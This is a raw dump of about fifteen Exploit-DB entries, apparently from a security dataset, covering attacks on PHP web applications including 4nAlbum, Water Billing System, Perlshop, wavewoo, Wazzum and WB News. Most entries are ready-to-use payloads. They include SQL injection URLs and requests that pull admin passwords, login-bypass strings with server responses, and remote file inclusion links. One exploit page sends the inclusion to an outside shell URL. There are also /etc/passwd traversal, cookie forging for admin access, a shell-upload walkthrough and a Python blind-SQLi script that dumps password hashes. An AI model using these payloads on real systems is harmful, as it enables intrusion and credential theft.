deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23815
Description: WarpSpeed 4nAlbum Module 0.92 - 'displaycategory.php?basepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-03-15
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9881/info

It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.

There is an information disclosure issue with the 'displaycategory.php' script. 

There is a remote file inclusion vulnerability in the 'displaycategory.php' script. 

A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.

Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.

This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.

http://www.example.com/phpNukeDirectory/modules/4nalbum/public/displaycategory.php?basepath=http://www.example.net/
Exploit-DB #23816
Description: WarpSpeed 4nAlbum Module 0.92 - 'modules.php?gid' SQL Injection
Type: webapps
Platform: php
Date: 2004-03-15
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9881/info
 
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
 
There is an information disclosure issue with the 'displaycategory.php' script.
 
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
 
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
 
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
 
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.


http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,pwd,2,null,null,null%20FROM%20nuke_authors/*
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid,2,null,null,null%20FROM%20nuke_authors/*
Exploit-DB #23817
Description: WarpSpeed 4nAlbum Module 0.92 - 'nmimage.php?z' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9881/info
 
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
 
There is an information disclosure issue with the 'displaycategory.php' script.
 
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
 
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
 
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
 
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.

http://www.example.com/phpNukeDirectory/modules/4nalbum/public/nmimage.php?z=[xss code here]
Exploit-DB #49048
Description: Water Billing System 1.0 - 'id' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-16
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Water Billing System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 2020-11-14
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: Apache2 and Windows 10

Vulnerable param: id
-------------------------------------------------------------------------
GET /WBS/edituser.php?id=-9%27+UNION+SELECT+1,@@VERSION,3,4--%20- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/WBS/user.php
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean




-------------------------------------------------------------------------

Source Code: edituser.php

..
..
..
$user_id =$_REQUEST['id'];
$result = mysqli_query($conn,"SELECT * FROM user WHERE id  = '$user_id'");
..
..

-------------------------------

Vulnerable param: id
-------------------------------------------------------------------------
GET /WBS/viewbill.php?id=2%27+union+select+1,2,3,@@version,5,6--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://localhost
Connection: close
Cookie: COOKIE
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------

Source Code: \WBS\viewbill.php

..
..
..
$id =$_REQUEST['id'];
$result = mysqli_query($conn,"SELECT * FROM bill where owners_id='$id'");
..
..

-------------------------------
Exploit-DB #49032
Description: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection
Type: webapps
Platform: php
Date: 2020-11-12
Author: Sarang Tumne

Exploit:
# Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection
# SQL Injection in  'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the victim system to compromise it...
# Exploit Author: Sarang Tumne (CyberInsane)
# Date: 4th Nov, 2020
# Confirmed on release 1.0
# Tested on: Windows Server 2016- XAMPP
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
###############################################

POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username='%20or%200%3d0%20#&[CREDENTIAL_REDACTED]

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:51 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>
=========================================================================
POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=a'%20or%20'a'%20%3d%20'a

Response:
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:49 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=34a478h4bhtliatg8l71kmp10r; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>
Exploit-DB #34617
Description: Waverider Systems Perlshop - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-06
Author: Shadow

Exploit:
source: https://www.securityfocus.com/bid/43158/info

Perlshop is prone to multiple input-validation vulnerabilities including a nondescript input-validation vulnerability, multiple cross-site scripting vulnerabilities, and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, input arbitrary data to restricted parameters, and view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks. 

http://www.example.cgi/cgi-bin/perlshop.cgi?ACTION=ENTER%20SHOP&thispage=../../../../../../../../etc/passwd&ORDER_ID=%21ORDERID%21&LANG=english&CUR=dollar
Exploit-DB #3796
Description: wavewoo 0.1.1 - 'loading.php?path_include' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-24
Author: kezzap66345

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Alessandro Lulli wavewoo  Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: Alessandro Lulli wavewoo
//'[Coded by  : kezzap66345
//'[Author     : kezzap66345
//'[Contact    : kezzap66345@hotmail.com
//'[S.Page     : http://wavewoo.sourceforge.net/
//'[$$         : Free
//'[Download   : http://sourceforge.net/projects/wavewoo/
//'===============================================================================================




    //Basic exploit,but any time : (
  var path="/include"
  var adres="/loading.php?" //File name
  var acik ="path_include=" // Line x
  var shell="http://kezzap66345.by.ru/casus.php?" // Shell Script

  function command(){
      if (document.rfi.target1.value==""){
         alert("Failed..");
     return false;
   }



 rfi.action= document.rfi.target1.value+path+adres+acik+shell;
 rfi.submit(); // Form Submit
  }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Alessandro Lulli wavewoo
Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
   <b><font face="Arial" size="1" color="#FF0000">Target:</font><font
face="Arial" size="1"
color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00"
size="2" face="Arial">
 </font><font color="#FF0000" size="2"></font></b>
 <input type="text" name="target1" size="20" style="background-color:
#808000" onmouseover="javascript:this.style.background='#808080';"
onmouseout="javascript:this.style.background='#808000';"></p>
 <p><input type="submit" value="Gonder" name="B1"><input type="reset"
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">kezzap66345</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-04-24]
Exploit-DB #37100
Description: Waylu CMS - '/products_xx.php' SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2012-04-20
Author: TheCyberNuxbie

Exploit:
source: https://www.securityfocus.com/bid/53202/info

Waylu CMS is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible. 

HTML Injection

http://www.example.com/WebApps/products_xx.php?id=[XSS]

SQL Injection

http://www.example.com/WebApps/products_xx.php?id=[SQL Injection]
Exploit-DB #7877
Description: Wazzum Dating Software - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: nuclear

Exploit:
#Wazzum Dating Software (userid) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.wazzum.com/


#vuln:
http://localhost/[path]/profile_view.php?userid=-1 union select 1,2,3,4,5,@@version /*


#demo:
http://www.wazzum.com/dating_demo/profile_view.php?userid=-1%20union%20select%201,2,3,4,5,@@version%20/*


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-01-26]
Exploit-DB #11954
Description: Wazzum Dating Software - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-30
Author: EL-KAHINA

Exploit:
========================================================================================                  
| ( Title    ) Wazzum Dating Software Mullti Vulnerability    
| ( Author   ) El-Kahina                                                               
| ( email    ) please forgive me                                                                                                                            |
| ( Web Site ) wwww.iqs3cur1ty.com                                                                                                                                 
| ( Script   ) http://hotfile.com/dl/32756801/c6b4b5e/Wazzum.zip.html    
| ( Tested on) Lunix Français v.(9.10 Ubuntu)       
| ( Bug      ) Upload    
|                                                                  
======================      Exploit By EL-Kahina       =================================
 # Exploit  : 
 
 1 - Register - Step 1
 
 http://127.0.0.1/Wazzum/register.php?step=1&case=reg&PHPSESSID=fba9845f1d798c1bf4faf996e7789b4c
                  
 2 - Register - Step 2
 
 http://127.0.0.1/Wazzum/register.php?step=2&mode=create&case=reg (You Can Use Shell to Upload)
 
 3 - http://127.0.0.1/Wazzum//video_admin.php?type=v (2 upload video) Use Tamper Data
  
 http://127.0.0.1/Wazzum//includes/videos/ to find evil 
 
 http://127.0.0.1/Wazzum//audio_admin.php?type=a (2 upload audio) Use Tamper Data
 
 http://127.0.0.1/Wazzum//includes/audios/ to find evil
 
==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
(Dz-Ghost Team ) im indoushka's sister -#[V!va Fidal Castro]#-
--------------------------------------------------------------------------------------------------------------
Exploit-DB #12323
Description: wb news (webmobo) 2.3.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-21
Author: ITSecTeam

Exploit:
#####################################################################################
#Title:             WB News (Webmobo) 2.3.3 Stored XSS                              #
#Vendor:            http://www.webmobo.org/                                         #
#####################################################################################
#AUTHOR:            ITSecTeam                                                       #
#Email:             Bug@ITSecTeam.com                                               #
#Website:           http://www.itsecteam.com                                        #
#Forum :            http://forum.ITSecTeam.com                                      #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability44.htm        #
#Thanks:            r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n                #
#####################################################################################

#DESCRIPTION (by vendor):############################################################
WB News is a PHP news management system which requires MySQL/PostgreSQL database. 
The system is meant for quick and easy build to integrate news into an existing 
site or used as a framework with many systems such as Authentication, Template Engine, 
Database Abstration and more. 

#BUG:################################################################################
file /base/Comments.php:
 85:	foreach ( $comments as $comment )
 86:	{
 87:		$rows[] = array(
 88:			"message" => nl2br( textWrap( htmlspecialchars( filter( $comment["message"] ) ) ) ),
 89:			"name" => NULL != $comment["postname"] ? $comment["postname"] : $comment["name"], //<---vulnerable line
 90:			"date" => tz_date( Configuration::getInstance()->getOption("dateFormat"), $comment["timeposted"] )
 91:			);
 92:	}

file /templates/default/list-comments.ihtml:
 17:		<td><strong><?php echo __("Posted By") ?>:</strong> <?php echo $r["name"] ?> On: <?php echo $r["date"] ?></td>


Comment sender's name is not filtered and is sent to browser!


#EXPLOIT:############################################################################
goto comments and post any script as comment sender's name!
Exploit-DB #8026
Description: WB News 2.1.1 - config[installdir] Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-09
Author: ahmadbady

Exploit:
-----------------:Remote File Include:-----------------
-------------------------------------------------------
script:wb news v2.1.1
    
------------------------------------------------------------------
download from:http://www.webmobo.com/downloads/
   
------------------------------------------------------------------

.......................................................
vul: /admin/global.php line 32;

  
require_once( $config["installdir"] . "/includes/constants.php" );

------------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/admin/global.php?config[installdir]=shell.txt?

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-09]
Exploit-DB #8492
Description: WB News 2.1.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-20
Author: ThE g0bL!N

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…-----------------------------
  
 [~]Download: http://www.webmobo.com/downloads/
  
 [~]Software: wb news 2.1.2
 [~]author: ThE g0bL!N
  
  
 [~] Home: WWW.h4ckf0ru.com
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s
[~] -----------------------------{ Iam MuSlIm}------------------------------
  
wb news 2.1.2 Insecure Cookie Handling Vulnerability
---------------------------------------
exploit:
-------
javascript:document.cookie="WBNEWS=[id];path=/";
demo
----
http://demo.webmobo.com/news/admin/
exploit for demo
----------------
javascript:document.cookie="WBNEWS=1;path=/";
 
[~]--------------------------------------------------------------------------------
 
 [~] Greetz tO:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH -His0k4-
  [~]
  [~]
  [~]
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-20]
Exploit-DB #6790
Description: WBB Plugin rGallery 1.09 - 'itemID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-20
Author: Five-Three-Nine

Exploit:
import sys, urllib2, re

print "\n "
print "                          \\#'#/                        "
print "                          (-.-)                         "
print "  -------------------oOO---(_)---OOo--------------------"
print "  |   rGallery 1.09 (+-) Exploit by Five-Three-Nine    |"
print "  |  Using Blind SQL Injection in 'itemID' of rGallery |"
print "  |                                                    |"
print "  |                Greets and Shouts to:               |"
print "  | tmh, n00bor, activebeta, Ghost, Saufkumpel, Altair |"  
print "  | crusader727, Nemo, Loader007, J0hn.X3r, sNiper109  |"                                      
print "  ------------------------------------------------------\n"


if len(sys.argv) != 5:
	print "\nUsage: ./rGallery.py <UserID> <UserTable> <ImageID> <site>"
	print "Ex: ./rGallery.py 1 bb1_users 19 http://example.com\n"
	sys.exit(1)

UserID = sys.argv[1]
Prefix = sys.argv[2]
ImageID = sys.argv[3]
Host = sys.argv[4]

Res = [48,49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]
MD5 = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32]
Hash = ""

UserID = int(UserID)
UserID -= 1
UserID = str(UserID)

for MD5Count in range(32):
	for ResCount in range(16):
		try:
			source = urllib2.urlopen(Host +"/index.php?page=RGalleryImageWrapper&itemID=" + ImageID +"%20and%20ascii(substring((SELECT%20password%20from%20" + Prefix +"%20limit%20"+ UserID + ",1)," + str(MD5Count + 1) + ",1))="+ str(Res[ResCount])).read()
			
			print "[+] Character " + str(MD5Count + 1) +  " found! " + str(Res[ResCount])
			MD5[MD5Count] = Res[ResCount]
			break
		except(urllib2.URLError):
			continue 
		except(urllib2.HTTPError):
			print "[+] Error: Can't load the Site"
			sys.exit(1)


for i in MD5:
	Hash = Hash + str(chr(i))
	
print "\n[+] Hash: " + Hash

# milw0rm.com [2008-10-20]
Exploit-DB #4327
Description: WBB2-Addon: Acrotxt 1.0 - 'show' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-27
Author: D4m14n

Exploit:
####################################################################
Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
Bug by: D4m14n [11/07/2007]
Page: www.damians-world.dl.am // www.team-internet.dl.am
Dork: inurl:acrotxt.php wbb
####################################################################

SQL-Injection:
http://[target]/[path]/acrotxt.php?show=[SQL]

Example:
/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*

####################################################################
#    Doin' this for FUN!
#    GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
#
#    PS: I still hate the Black-Music-Scene...
####################################################################

# milw0rm.com [2007-08-27]